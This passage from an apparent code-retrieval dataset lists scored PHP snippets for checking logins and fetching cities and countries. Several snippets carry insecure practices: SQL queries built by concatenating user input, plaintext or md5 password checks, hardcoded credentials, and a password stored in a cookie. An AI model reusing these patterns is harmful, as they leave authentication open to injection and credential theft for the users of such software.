$this->showLogin();\n }\n }\n }", "title": "" }, { "docid": "0d4662b4bbc093ca27930aa71de2cf67", "score": "0.69150186", "text": "function auth() {\n\tglobal $REX;\n\n\t$avAuth = new OOavEnterAuth($REX);\n\n\t$login = $avAuth->checkAuth();\n\n\tif (!$login) {\n\t\treturn 0;\n\t}\n\n\tif (!$REX['COM_USER']->getValue('login')) {\n \treturn 0;\n\t}\n\n\tif ($login && $REX['COM_USER']->getValue('login')) {\n\t\treturn 1;\n\t}\n}", "title": "" }, { "docid": "fbe7effc605ab7b82cb9400a49635969", "score": "0.6902769", "text": "public function isAlternativeLoginEnabled(): bool;", "title": "" }, { "docid": "dacb3422b22e71ff3381510dfa7e7457", "score": "0.6898818", "text": "public function islogin($data){\n // extracting variables\n extract($data,EXTR_PREFIX_ALL,\"var\");\n\n $obj = new Dbo_Session();\n $obj->where(\"username = \" . $obj->quote($var_username));\n if(Valid::not_empty($var_ipaddress)) $obj->where(\"ipaddress = \" . $obj->quote($var_ipaddress));\n\n return $obj->count() > 0;\n }", "title": "" }, { "docid": "f5ccc0313363929fca85538ea42f6b50", "score": "0.6897064", "text": "function _check_login() {\n\t\t\t$this->load->model(\"Account_model\");\n\t\t\tif($this->Account_model->check_login() == false) {\n\t\t\t\t$this->form_validation->set_message(\"_check_login\", \"Account name or password are incorrect.\");\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\telse\n\t\t\t\treturn true;\n\t\t}", "title": "" }, { "docid": "8730f24942e39759bc50c387502cb048", "score": "0.689338", "text": "static function isLogin($value) {\n //iniciales ni finales\n }", "title": "" }, { "docid": "f3fa60aefc31a6c613afd2e252e6fe39", "score": "0.6883922", "text": "public function isLogin()\n {\n if (defined(\"CHECK_LOGIN_TOKEN\")) {\n $checkToken = CHECK_LOGIN_TOKEN;\n } else {\n $checkToken = true;\n }\n if ($checkToken) {\n if (strlen($this->getSessionID()) > 0 && strlen($this->getSessionToken()) > 0) {\n return $this->model->access->checkAccess($this->getSessionID(), $this->getSessionToken());\n } else {\n return false;\n }\n } else {\n if (strlen($this->getSessionID()) > 0) {\n return $this->model->access->checkAccess($this->getSessionID());\n } else {\n return false;\n }\n }\n }", "title": "" }, { "docid": "ec56ae65fbc3d6b6af8d60b9b857c3f8", "score": "0.6879236", "text": "public function issignedinAction()\n {\n if (isset($_SESSION['Incite']['IS_LOGIN_VALID']) && $_SESSION['Incite']['IS_LOGIN_VALID']) {\n echo 'true';\n } else {\n echo 'false';\n }\n }", "title": "" }, { "docid": "f757f75cbcb94dec4fb32dd4ec32f40d", "score": "0.6873906", "text": "public function checkLogin()\n {\n if (isset($_COOKIE[self::COOKIE_SITE_AUTH])) {\n $cookieStr = $_COOKIE[self::COOKIE_SITE_AUTH];\n if ($this->_session->get(self::COOKIE_SITE_AUTH) == $cookieStr) {\n session_regenerate_id(); //refresh session\n return true;\n }\n }\n return false;\n }", "title": "" }, { "docid": "4f3dad0aa50b0aeeb8694cc0d6643329", "score": "0.6871233", "text": "public function check_login() {\n return !empty($this->keyword);\n }", "title": "" }, { "docid": "d4524050ee3ec096a662c69d40be70ca", "score": "0.6870764", "text": "public function valid_credentials(){\n \n $this->load->model('login_model');\n \n if ($this->login_model->match_login()){\n return true;\n \n }else{\n \n return false;\n \n }\n \n }", "title": "" }, { "docid": "8d53f8dac3379a32456a831aae5274bb", "score": "0.6863675", "text": "public function check_login()\n\t{\n\t\tif(!UID)\n\t\t\tredirect(\"login\");\n\t}", "title": "" }, { "docid": "799de5007011ae29ddd722146e58a8ae", "score": "0.68559545", "text": "public function checkLogin()\n {\n if ('' != $_COOKIE['user_token'] && !$this->user->isLogged()) {\n if ($this->user->loginToken($this->request->cookie['user_token'], $this->request->cookie['user_password'])) {\n setcookie(\"user_token\", $this->request->cookie['user_token'], time() + 3600 * 24 * 30, '/');\n setcookie(\"user_password\", $this->request->cookie['user_password'], time() + 3600 * 24 * 30, '/');\n } else {\n setcookie(\"user_token\", '', 1, '/');\n setcookie(\"user_password\", '', 1, '/');\n }\n }\n\n\n if (!$this->user->isLogged()) {\n //$route = $this->getRoute();\n //$part = explode('/', $route);\n //$ignore = array('common/forgotpassword');\n return $this->forward('page/login/index');\n }\n\n }", "title": "" }, { "docid": "0c3d1892aeb6557135654e630c361428", "score": "0.685305", "text": "public function loginCheck($stdno,$password){\n\t\t$query=$this->db->query(\"SELECT * FROM students WHERE student_number='$stdno' AND password='$password' AND status=1 \");\n\t\t$rows=$query->num_rows();\n\t\tif($rows == 1){ return true; }else{ return false; }\n\t}", "title": "" }, { "docid": "935f5e11ec884071707b92989d3a42a2", "score": "0.68506813", "text": "public function checkAndLogOut(){\n if( !$this->check() ){\n $this->logOut();\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "3d809d396424e74f6eeba9a53d43ffc0", "score": "0.6823017", "text": "public function checkauth();", "title": "" }, { "docid": "7a0de08c860dd4154bca5c2b3e0c88c0", "score": "0.6809954", "text": "function checkLogin()\n{\n\t//global $logger;\n\t//$logger->debug('session: '. print_r($_SESSION, 1));\n if (!empty($_SESSION['user']['role'])) {\n echo json_encode(array('result' => true));\n } else {\n $app = Slim::getInstance();\n $app->halt(401, 'Unauthorized!');\n }\n}", "title": "" }, { "docid": "d7ff6d553932adc79f5d838687a07a74", "score": "0.6806531", "text": "public function is_login(){\n $session_data = $this->__get_session();\n return $session_data !== NULL;\n }", "title": "" }, { "docid": "4a07fdc7ff25a0774a62aebc9cd1443b", "score": "0.67973906", "text": "abstract public function requireLogin();", "title": "" }, { "docid": "55e74d7819d26bd2ce7ed87f105c6657", "score": "0.6792192", "text": "public static function checkLogin() {\n if(!self::isLoggedIn()) { \n $url = urldecode($path);\n self::startSession();\n $_SESSION['redirectUrl'] = $url;\n $alert = ($msg && !empty($msg))? $msg: 'You must be logged-in to perform the requested operation.';\n Yii::$app->session->setFlash('pleaseLogin', $msg);\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "f669f61d399a401b54a2baa1d5b263ab", "score": "0.67896944", "text": "public function validateLogin()\n {\n $userInput = $this->getLoginPost();\n $query = $this->db->prepare('SELECT username, password , usertype FROM login WHERE :username = username AND :password = password');\n $query->execute(array(':username' => $userInput['username'], ':password' => $userInput['password']));\n $result = $query->fetch();\n if($result)\n {\n echo'login succesfull';\n return $result;\n } else {\n echo'login unsuccsesfull';\n return null;\n }\n }", "title": "" }, { "docid": "70e32dd3ca062d0e9c9e3eb8dd726a7d", "score": "0.67850995", "text": "function isloginInSecure() {\r\n\t\tisLogin();\r\n\t\treturn login($this->Username, $this->Password);\r\n\t}", "title": "" }, { "docid": "1a0b9e11bcba81845026193b11c89917", "score": "0.6782769", "text": "static private function checkLogin() {\n if (PlayerSingleton::getInstance() == null || !PlayerSingleton::getInstance()['logged']) {\n \n DebugLog::Log(\"Not have session, request page without login.\");\n\n // Redireciona para a página de erro\n header(\"Location: \".LINKS['LOGIN_ERROR']);\n\n // sai do script para o navegador redirecionar para a página\n exit();\n }\n }", "title": "" }, { "docid": "6c0e0c3eff4bae922a1d1944d17bc00a", "score": "0.67807436", "text": "function sudah_login()\n\t{\n\t\tif (isset($_SESSION[\"a2_username\"])) {\n\t\t\t$a2_username = $_SESSION[\"a2_username\"];\n\t\t\t$a2_nama_depan = $_SESSION[\"a2_nama_depan\"];\n\t\t\t$a2_nama_belakang = $_SESSION[\"a2_nama_belakang\"];\n\t\t\t$a2_level = $_SESSION[\"a2_level\"];\n\n\t\t\tif ($a2_username!=\"\" && $a2_nama_depan!=\"\" && $a2_level!=\"\") {\n\t\t\t\treturn TRUE;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\treturn FALSE;\n\t\t}\n\t}", "title": "" }, { "docid": "feb4e74a5c61bb167ea36eb331350c0c", "score": "0.6776731", "text": "public function userLogin(){\n\n if($_POST['email-input-login'] == \"[email protected]\" && $_POST['password-input-login'] == 1234){\n $this->alta_sesion($_POST['email-input-login'], 1, \"usuario\"); // el id es ficticio para esta entrega\n $this->vistaUserPanel($_POST['email-input-login']);\n }else{\n $this->vistaIniciarSesion(array('mensaje' => \"Email o contraseña incorrecta\"));\n return false;\n }\n }", "title": "" }, { "docid": "767e4801cb4f3d60fec56e3b64d45977", "score": "0.6775924", "text": "function checkAuthentication()\n {\n //check session\n $this->checkSession();\n\n //does user variable exists?\n if (isset($_SESSION['user'])) {\n\n\n //does have any value\n if ($_SESSION['user'] == null) {\n $_SESSION['messageAuth'] = \"You must Login first\";\n\n return false;\n } else {\n return true;\n }\n } else {\n $_SESSION['messageAuth'] = \"You must Login first\";\n\n return false;\n }\n }", "title": "" }, { "docid": "6bc1a4768e28657b9db905cb99bf2932", "score": "0.67738646", "text": "public function checkClient($login,$pwd)\n\t{\n\n\t\t$req=\"select id,count(*) as nbr from userpharma where login='\".$login.\"' and mdp='\".$pwd.\"'\";\n\t\t$res = PdoLafleur::$monPdo->query($req);\n\t\t$logged=$res->fetch();\n\t\t\n\t\tif($logged['nbr']==1)\n\t\t{\n\t\t\t$LoginConfirmation=true;\n\t\t\t$_SESSION['id']=$logged['id'];\n\t\t\t$_SESSION['logged']=true;\n\t\t}else\n\t\t{\n\t\t\t$LoginConfirmation=false;\n\t\t}\n\t\treturn $LoginConfirmation;\n\n\t}", "title": "" }, { "docid": "85cbcc3388747b4269a4b033c2966077", "score": "0.6773776", "text": "private function checkLogin() {\n if (!$this->classes['auth']->checkLogin()) {\n header('location: /mailmaid');\n exit();\n }\n }", "title": "" }, { "docid": "5cf7dd96ef72c2f79fc08da995944229", "score": "0.67645234", "text": "function nc_check_user()\n{\n\tglobal $nc_login_state;\n\t\n\tif(!$nc_login_state)\n\t\tnc_boot_user();\n}", "title": "" }, { "docid": "485af05a64830bf60bf3d1ff7bfe2aab", "score": "0.6763724", "text": "public function isLoginRequired()\n {\n return true;\n }", "title": "" }, { "docid": "bfaa9b8f40a3c94a583220af8d12cf62", "score": "0.6762999", "text": "public function check_login(){\n\t\t$email = $this->input->post('email');\n\t\t$password = $this->input->post('password');\n\t\t if($this->Authentication_model->vendor_authentication_login($email, $password,'vendors')){\n\t\t\tif($this->Authentication_model->vendor_active_account_check($email, $password,'vendors')){\n\t\t\t\techo 'active';\n\t\t\t} else {\n\t\t\t\techo 'notactive';\n\t\t\t}\n\t\t} else {\n\t\t\techo 'fail';\n\t\t}\n\t}", "title": "" }, { "docid": "1af249083a2d5f7c54384bfe21867667", "score": "0.67584527", "text": "function checkLogin(){\n\t\tif(!session_id())\n\t\t\tsession_start();\n\t\treturn login($_SESSION['email']??\"\", $_SESSION['pwd']??\"\");\n\t}", "title": "" }, { "docid": "c2f5e398d22f176b32340cfda89afd9a", "score": "0.67558944", "text": "public function check_login() {\n\t\t$where = array(\n\t\t\t\"EmailAddress\" => $this->input->post('EmailAddress'),\n\t\t\t\"Password\" => $this->input->post('Password'),\n\t\t\t\"Status\" => 1,\n\t\t\t\"MarkAsDelete\" => 0,\n\t\t);\n\t\t$query = $this->db->get_where('registered_user',$where);\n\t\t$count = $query->num_rows();\n\t\tif($count == 1){\n\t\t\t$result = $query->row_array();\n\t\t\t\t$sess_data = array(\n\t\t\t\t\"UserId\" => $result['RegId'],\n\t\t\t\t\"FirstName\" => $result['FirstName'],\n\t\t\t\t\"LastName\" => $result['LastName'],\n\t\t\t\t\"FullName\" => $result['FirstName'].' '.$result['LastName'],\n\t\t\t\t\"EmailAddress\" => $result['EmailAddress'],\n\t\t\t\t\"MobileNumber\" => $result['MobileNumber'],\n\t\t\t\t\"Role\" => $result['Role']\n\t\t\t);\n\t\t\t$this->session->set_userdata($sess_data);\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t} \n\t}", "title": "" }, { "docid": "72f51b71f4a6a8a74e94d897fe1a144e", "score": "0.6755889", "text": "public function post_checkUser() {\n //check if the user credentials are correct\n if ($userId = AuxWelcome::loginUser()) {\n //if they are login the user\n $this->login($userId);\n } else {\n //if not print an error message\n echo '<script>alert(\"Sorry, wrong user and/or password\");</script>';\n Response::redirect('/#toregister', 'refresh');\n }\n }", "title": "" }, { "docid": "1d126bc85b0ae170005a7a56a21fead2", "score": "0.67500794", "text": "public function doLogin(){\n $result = true;\n //var_dump($_POST);\n if(key_exists(TOKEN, $_POST)&& key_exists(ROLE, $_POST) && key_exists(IDUNIT, $_POST)){\n $_SESSION[TOKEN] = $_POST[TOKEN];\n $_SESSION[ROLE] = $_POST[ROLE];\n $_SESSION[IDUNIT] = $_POST[IDUNIT];\n $result = $this->loadLoggedUser();\n if(!$result) return false;\n $result = $this->loadLoggedPerson();\n return $result;\n }else{\n Logger::log(\"Neregistruji očekávané hodnoty ze strany serveru\", EERR);\n return false;\n } \n }", "title": "" }, { "docid": "68e4a75b3a7cb032882f5a7dd50772d1", "score": "0.67425615", "text": "function cekLogin() {\n if ($this->session->userdata('login') == FALSE) {\n return FALSE;\n } else {\n return TRUE;\n }\n }", "title": "" }, { "docid": "43779631bd51d21249d6ef7d30508cbb", "score": "0.6739495", "text": "function isUserLogin(){\n\t\tif (isset($_SESSION['USER_AUTH']) && ($_SESSION['USER_AUTH'] == 1)){\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "fc3ca342d4537ec81186b3d5c970448f", "score": "0.67326075", "text": "public function check_can_login()\n {\n $data = array(\n 'User' => $this->_user,\n 'Password' => $this->_password\n );\n\n $http_request = $this->get_http_request();\n $response = $http_request->send(self::API_CAN_LOGIN_URL, $data);\n\n if( $response->is_error() )\n return false;\n return true;\n }", "title": "" }, { "docid": "814f9bad56683ef5ceebe4d993c79292", "score": "0.6728436", "text": "public function check()\r\n\t{\r\n\t\tif (!empty($this->input->post('password')))\r\n\t\t\t{\r\n\t\t\t\t$email = $this->input->post('email');\r\n\t\t\t\t$password = $this->input->post('password');\r\n\t\t\t\tif (($email === \"[email protected]\") && ($password === \"parola\"))\r\n\t\t\t\t{\r\n\t\t\t\t\techo \"true\";\r\n\t\t\t\t}\r\n\t\t\t\telse \r\n\t\t\t\t{\r\n\t\t\t\t\techo \"false\";\r\n\t\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\techo \"false\";\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "60caa093e8473e77712ccfcdc120e160", "score": "0.67218745", "text": "public function login_check()\n\t\t{\n\t\t\t$this->session_start();\n\n\t\t\t\n\t\t\t\tif(isset($_COOKIE['admin_id'])){\n\n\t\t\t\t\t$_SESSION['admin_id'] = $_COOKIE['admin_id'];\n\n\t\t\t\t} elseif(isset($_COOKIE['user_id'])) {\n\n\t\t\t\t\t$_SESSION['user_id'] = $_COOKIE['user_id'];\n\n\t\t\t\t} \n\n\t\t}", "title": "" }, { "docid": "89f948618b9dc52bc5b3600147a70b5e", "score": "0.67109406", "text": "public function login(): bool {\n $this->cred['pwd'] = hash('sha256', iconv('ISO-8859-1', 'UTF-8', $this->cred['pwd']));\n $this->cred['appkey'] = hash('sha256', iconv('ISO-8859-1', 'UTF-8', $this->cred['uid'] . '|' . $this->cred['appkey']));\n $totp = \\OTPHP\\TOTP::create($this->cred['totp']);\n $this->cred['factor2'] = $totp->now();\n $req = $this->request('login', $this->cred, false);\n if ($this->log($req, ['logged in successfully!', 'falied to loggedin!'])) {\n $this->sessionData($req);\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "68d68cfe411b46994e005a3f2fea6b77", "score": "0.67076755", "text": "public function check_member_login()\n\t{\n\t\tif($this->session->userdata('login_status'))\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t}", "title": "" }, { "docid": "d1f7448dc1a124e00678610505240274", "score": "0.6707531", "text": "protected function protectLogin()\n {\n $config = (int)$this->getConf('loginprotect');\n if ($config < 1) return false; // not wanted\n if ($config === 1) return true; // always wanted\n $count = (new IpCounter())->get();\n return $count > 2; // only after 3 failed attempts\n }", "title": "" }, { "docid": "64a2daadc5fb0c1b67a7b421e38b24c2", "score": "0.6698234", "text": "public static function loginEnabled()\n\t{\n\t\treturn TRUE;\n\t}", "title": "" }, { "docid": "ce8e3bace124e016bda33dc73ccb2632", "score": "0.669742", "text": "public function requireLogin($bool=false){\n $answer = true; \n if(!$this->checkLogin()){\n if($bool){\n $answer = false;\n }else{\n throw new Exception(\"User is not logged in.\");\n }\n }\n return $answer;\n }", "title": "" }, { "docid": "7130bc10c0546e017194771fcc331e9b", "score": "0.66956323", "text": "public function check_login()\n\t{\n\t\t$username = $this->input->post('login-username');\n\t\t$password = md5($this->input->post('login-password'));\n\t\t$this->load->model('Admin_model');\n\t\t$where = array(\n\t\t\t\t\t'username' => $username,\n\t\t\t\t\t'password' => $password\t\n\t\t\t\t);\n\t\tif($this->Admin_model->checkExist($where))\n\t\t{\n\t\t\treturn true;\n\t\t}else{\n\t\t\t$this->form_validation->set_message(__FUNCTION__, 'Đăng nhập không thành công');\n\t\t\treturn false;\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "8fbb6374f5156e7dd9110f91ae35bc94", "score": "0.6680913", "text": "public function authenthicate() {\n $data_auth_check_password = $this->checkPassword();\n if ($this->authAdmin() && $this->checkPassword()) {\n return TRUE;\n } else\n return false;\n }", "title": "" }, { "docid": "68b10b5e4641f878bccfb24cd711ccd1", "score": "0.6676917", "text": "public function onLogin()\n {\n if (!$this->active) {\n return false;\n }\n \n // You might want to log the login\n }", "title": "" }, { "docid": "528f4b7766541b901543b47894395eb4", "score": "0.6673185", "text": "public function actionCheckLogin() {\n if(Yii::$app->request->post()){\n $model = new LoginForm();\n $model->username = Yii::$app->request->post('u');\n $model->password = Yii::$app->request->post('p');\n $model->rememberMe = Yii::$app->request->post('r');\n if($model->login()){\n return 1;\n }\n else{\n return json_encode($model->errors);\n }\n \n }\n return 0;\n }", "title": "" }, { "docid": "2a7738ad7f5bae4b27d29b6450446a5d", "score": "0.66717666", "text": "public function requireLogin() {\n\t\treturn $this->check(true);\n\t}", "title": "" }, { "docid": "16f64b9a63da89f22e17a34afaba129b", "score": "0.66648173", "text": "public function can_log_in(){\n\t\t\t\n\t\t\t$email = strtolower($this->input->post('email'));\n\t\t\t$password = $this->input->post('password');\n\t\t\t$db_password = '';\n\t\t\t\n\t\t\t//get users info frm db using email\n\t\t\t$user_array = $this->get_user($email);\n\t\t\t\n\t\t\t//check if email exists\n\t\t\tif($user_array){\n\t\t\t\t//get stored password\n\t\t\t\tforeach($user_array as $user){\n\t\t\t\t\t$db_password = $user->password;\n\t\t\t\t}\n\t\t\t\t// If the password inputs matched the hashed password in the database\n\t\t\t\tif(password_verify($password, $db_password) && $this->account_status($email)) {\n\t\t\t\t\treturn true;\n\t\t\t\t}else{\n\t\t\t\t\treturn false;\n\t\t\t\t} \n\t\t\t}else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t}", "title": "" }, { "docid": "9d4f213d370e5852e06358aa5d878aa6", "score": "0.6663854", "text": "public function isLoggedIn();", "title": "" }, { "docid": "9d4f213d370e5852e06358aa5d878aa6", "score": "0.6663854", "text": "public function isLoggedIn();", "title": "" }, { "docid": "9d4f213d370e5852e06358aa5d878aa6", "score": "0.6663854", "text": "public function isLoggedIn();", "title": "" }, { "docid": "6f4882509acfe5ae086c793adc0c0217", "score": "0.6663085", "text": "public function checkLogin($autoRedirect = true, $exitforNoLogin = false) {\n if ($this->session->userdata('gblUserid') == '')\n $loggedIn = false;\n else\n $loggedIn = true;\n\n // if not logged in, redirect automatically\n if ($autoRedirect && !$loggedIn) {\n header('location:' . BASE_URL . 'login');\n echo 'No login';\n exit();\n }\n\n //if asking to exit when no login\n if ($exitforNoLogin)\n exit;\n\n return $loggedIn;\n }", "title": "" }, { "docid": "807bcb3336e00f0c622822a9331a03f0", "score": "0.66628206", "text": "function need_login() {\n global $xp;\n\tif (!$xp->user->status) {\n\t\tredirect('?act=signin');\n\t}\n}", "title": "" }, { "docid": "85520b35a270847f24823967bba31695", "score": "0.6659468", "text": "static function verifyLogin() {\r\n\r\n //Check for a session\r\n if (session_id() == '' && !isset($_SESSION)) {\r\n\r\n //Start it up\r\n session_start();\r\n }\r\n //If there is session data\r\n if (isset($_SESSION[\"loggedin\"])) {\r\n\r\n //The user is loggedin, return true\r\n return true;\r\n\r\n // Else\r\n } else {\r\n\r\n //The user is not logged in\r\n //Destroy any session\r\n session_destroy();\r\n \r\n //return false\r\n return false;\r\n }\r\n \r\n // End else\r\n }", "title": "" } ]
2a1541fd76d3e2f6373a9490a1ada5e2
Gets cities for one country.
[ { "docid": "25717c6be3a9bc8126c159098d067919", "score": "0.6696947", "text": "public function getCitiesAll()\n {\n $query = $this->getEntityManager()\n ->createQuery(\"SELECT c.id_ci, c.cityName, c.cityUrl, r.id_re, r.regionUrl, r.regionName, co.id_co, co.countryName\n FROM GeographyCitiesBundle:Cities c\n JOIN c.cityRegion r\n JOIN r.regionCountry co\n ORDER BY co.countryName ASC, r.regionName ASC, c.cityName ASC \"); \n return $query->getResult();\n }", "title": "" } ]
[ { "docid": "718ca790cdb0421228d1042b3e776620", "score": "0.8070935", "text": "public function getCities($country)\n {\n $query = $this->getEntityManager()\n ->createQuery(\"SELECT c.id_ci, c.cityName, r.id_re, r.regionName\n FROM GeographyCitiesBundle:Cities c\n JOIN c.cityRegion r\n WHERE r.regionCountry = :country\n ORDER BY c.cityName ASC \")\n ->setParameter('country', $country); \n return $query->getResult();\n }", "title": "" }, { "docid": "d0f411e8d989bf31f57bbe1fc2654dc7", "score": "0.76392215", "text": "protected function getCitiesByCountryWithAPI($country)\n {\n $result = $this->_API_Weather->requestCitiesByCountry($country);\n return $result;\n }", "title": "" }, { "docid": "268017ddcd53edcc35809518d414575b", "score": "0.7536082", "text": "public function getCities($country_id = '') {\n\n\t\t$cities = BookListModel::getCitiesFromDB($country_id);\n\n\t\treturn ($cities) ? json_encode(array(\"flag\" => true, \"cities\" => $cities)) : json_encode(array(\"flag\" => false));\n\t}", "title": "" }, { "docid": "f70262e2747a071803f53a61a67937bb", "score": "0.75057054", "text": "public function getCities($country_id, $state_id)\n {\n\n }", "title": "" }, { "docid": "80267334b42e885a5b24c201e2cce6e0", "score": "0.7439396", "text": "public function getCity() {\n\t\t$objectManager = \\Magento\\Framework\\App\\ObjectManager::getInstance();\n\t\t$resource = $objectManager->get('Magento\\Framework\\App\\ResourceConnection');\n\t\t$connection = $resource->getConnection();\n\t\t$tableName = $resource->getTableName('directory_country_region ');\n\t\t$sql = \"Select * FROM \" . $tableName . \" where `country_id`='AE'\";\n\t\t$result = $connection->fetchAll($sql);\n return $result;\n }", "title": "" }, { "docid": "af3749f5045c9a9d04935180352f8e5e", "score": "0.73316866", "text": "public function citiesSelect($country_id)\n {\n $cities = City::where('country_id', '=', $country_id)->get(['id', 'name']);\n return $cities;\n }", "title": "" }, { "docid": "2ab3f5f6e783c0be63322028e5ebd745", "score": "0.71813214", "text": "public function getCities()\n {\n return $this->lookup('sproc_org_lkp_city');\n }", "title": "" }, { "docid": "9ea5f9fd4f9fa79a3cd38535c5af9bd7", "score": "0.71667725", "text": "public function getCitiesAction()\n {\n $countryName = $this->getRequest()->get('country');\n $cities = null;\n \n if(is_string($countryName)){\n $cities = $this->getCitiesByCountryName($countryName);\n }\n \n if(is_null($cities)){\n $this->view->success = false;\n }\n \n $this->_logger->info(\"getCitiesAction[$countryName]\");\n $this->_logger->info($cities);\n \n $this->view->cities = $cities;\n }", "title": "" }, { "docid": "a295e1c0593a7755eae155c0bfa91134", "score": "0.715393", "text": "protected function getCitiesByCountryName($countryName)\n {\n $cities = null;\n $Country = new Application_Model_DbTable_Country;\n $country = $Country->findCountryByName($countryName);\n \n if($country instanceof Application_Model_DbTable_Country_Row){\n// if(($cached_cities = $this->_cache->load($this->getCountryCitiesCacheKey($countryName))) == false){\n $cities = $country->getCities();\n if($cities->count() == 0){\n// $countryRow = $Country->replaceCountry($countryName);\n $cities = $this->getCitiesByCountryWithAPI($countryName);\n if(!empty($cities)){\n Zend_Registry::get('logger')->info('got cities by SOAP');\n $cities = $Country->createCountryCitiesFromArray($country, $cities);\n }\n }\n else{\n Zend_Registry::get('logger')->info('got cities from DB');\n }\n// $this->_cache->save($cities->toArray(), $this->getCountryCitiesCacheKey($countryName));\n// } else {\n// Zend_Registry::get('logger')->info('got cities from Cache');\n// $cities = $cached_cities;\n// $tmp = array();\n// foreach($cities as $city){\n// $row = new Application_Model_DbTable_City_Row;\n// $row->setFromArray($city);\n// $tmp[] = $row;\n// }\n// $cities = $tmp;\n// }\n }\n \n return $cities;\n }", "title": "" }, { "docid": "f8153cf14d4b51def66a3ad9369d66bd", "score": "0.7141297", "text": "function get_all_cities_from_country( $country_id ) {\n $cities_list = array();\n\n $terms = get_terms( 'ubicacion',\n array(\n 'parent' => $country_id,\n 'orderby' => 'slug',\n 'hide_empty' => false,\n )\n );\n\n foreach ( $terms as $term ) {\n $city = array(\n 'id' => $term->term_id,\n 'name' => $term->name,\n );\n $cities_list[] = $city;\n }\n\n return $cities_list;\n}", "title": "" }, { "docid": "33fc253bb227a8d092739298c6a1f77e", "score": "0.7051846", "text": "public function getAllCities()\n\t{\n\t\treturn $this->city->all();\n\t}", "title": "" }, { "docid": "410abf0968a64d77a13e0fa8ff399f25", "score": "0.70223576", "text": "protected function getCities()\n {\n return $this->cities;\n }", "title": "" }, { "docid": "066d6ad9be237850a9908d1bfebf791f", "score": "0.7008928", "text": "public function cities()\n {\n return $this->hasMany(City::class, 'country_id');\n }", "title": "" }, { "docid": "95814ce3f2638f1cbe59a1ffc413cfad", "score": "0.7003157", "text": "public function getCities(array $languageCodes);", "title": "" }, { "docid": "544444299191b2476610632223001d5e", "score": "0.69767433", "text": "public function countryCities($countryId)\n {\n $cities = City::where('country_id', $countryId)->get();\n return $this->successResponse(['cities' => $cities]);\n }", "title": "" }, { "docid": "a337b4b5e4f06006ddaf4347775e44cd", "score": "0.6907722", "text": "public function getCities($country_id, $region_id) {\n if ($country_id && $region_id) {\n $query = $this->db->table('cities');\n $query->where('country_id', intval($country_id))\n ->where('region_id', intval($region_id));\n\n $query->select(\"id, title_{$this->locale}, area_{$this->locale}\")\n ->orderBy('important', 'DESC')\n ->orderBy(\"title_{$this->locale}\", 'asc');\n\n if ($items = $query->get()->getResultArray()) {\n // get important cities before region\n $important = $this->db\n ->table('cities')\n ->select(\"id, title_{$this->locale}, area_{$this->locale}\")\n ->where('country_id', intval($country_id))\n ->where('important', 1)\n ->orderBy('id', 'ASC')\n ->orderBy(\"title_{$this->locale}\", 'ASC')\n ->get()->getResultArray();\n\n return $important + $items;\n }\n }\n return false;\n }", "title": "" }, { "docid": "71fa9d7dc5a98c4f613479bfbc9e15dc", "score": "0.6858698", "text": "public function actionGetCities()\n {\n $accessToken = 'CAAFbW0cHhFQBAJLrYfAcjURDK0YP54Qf6iM3r7SijogQnnZBQdRiMxWbDTe3kBiboABkQ817LlBlFZA9b8E7tJHD7YNCJRndYQZCuZCeJphLGZC2ir9V3sDEfGocmTPRtMIEguCBc7rKxWQo8TgUyazfzAUqdtO8ZD';\n $countryList = \"['VN','KH','LA','TH']\";\n $url = 'https://graph.facebook.com/search?list=global&country_list=' . $countryList . '&type=adcity&access_token=' . $accessToken . '&q=' . $params['q'] . '&limit=25';\n $data = $this->getApiResponse($url);\n $i = 0;\n $res = array();\n if (!empty($data['data'])) {\n foreach ($data['data'] as $element) {\n $res[$i]['name'] = $element['name'];\n $res[$i]['key'] = $element['name'];\n $i++;\n }\n }\n return $res;\n }", "title": "" }, { "docid": "c02f800a70a4548046f0304b845c01c7", "score": "0.68397516", "text": "public function getCities()\n {\n }", "title": "" }, { "docid": "4bff7c146e95b83a1973a022dd486a88", "score": "0.6821081", "text": "public function getCitys() {\n return ApiBase::jsonResult(Config::get('Citys')['city_list']);\n }", "title": "" }, { "docid": "9b93bd8e9f1d77537f3a0c337ff0deac", "score": "0.67789465", "text": "public static function getAllCities() {\n $db = Zend_Registry::get('dbAdapterReadOnly');\n return $db->fetchCol(\"SELECT DISTINCT(`city`) FROM `city` ORDER BY `city`\");\n }", "title": "" }, { "docid": "c04a56259441a003c4334c54ad07284c", "score": "0.6718368", "text": "public function cities()\n {\n // Como segundo parametro eu tenho que retornar a model que faz a intermediação entre country e city, que no caso é State\n return $this->hasManyThrough(City::class, State::class);\n }", "title": "" }, { "docid": "1c65ebd9265d8d055a3d70f7ac407ec2", "score": "0.67130506", "text": "public function getCountries()\n {\n $country = new Country();\n return $country->getAll();\n }", "title": "" }, { "docid": "60255f997890a6a68c7fba862926436b", "score": "0.669693", "text": "public function getCity();", "title": "" }, { "docid": "60255f997890a6a68c7fba862926436b", "score": "0.669693", "text": "public function getCity();", "title": "" }, { "docid": "c2eec39bca5c18ca20645a6dced554ab", "score": "0.6696473", "text": "public function getcities($country_name){\n $country= country::all()->where('name','=',$country_name)->first();\n $cities= city::all()->where('country_id','=',$country->id);\n return Response::json(array('success'=>true,'data'=>$cities));\n }", "title": "" }, { "docid": "94d7884e7bc38be29419b8265014390a", "score": "0.6684668", "text": "public function getCountries()\n {\n $this->loadData();\n return $this->data;\n }", "title": "" }, { "docid": "e2d40d806567ccc681fa97a45f28dba6", "score": "0.66642296", "text": "public function cities() {\n return $this->hasMany('App\\City', 'country_code', 'country_code');\n }", "title": "" }, { "docid": "1712047da478b55f49dcd65281bdd873", "score": "0.6647187", "text": "public function getCities()\n {\n $cities = $this->orderBy('id')->get();\n\n return $cities;\n }", "title": "" }, { "docid": "8d51131e693461faba149d95196e7261", "score": "0.6598503", "text": "public function cities(Request $request)\n {\n if (isset($request['id'])) {\n return 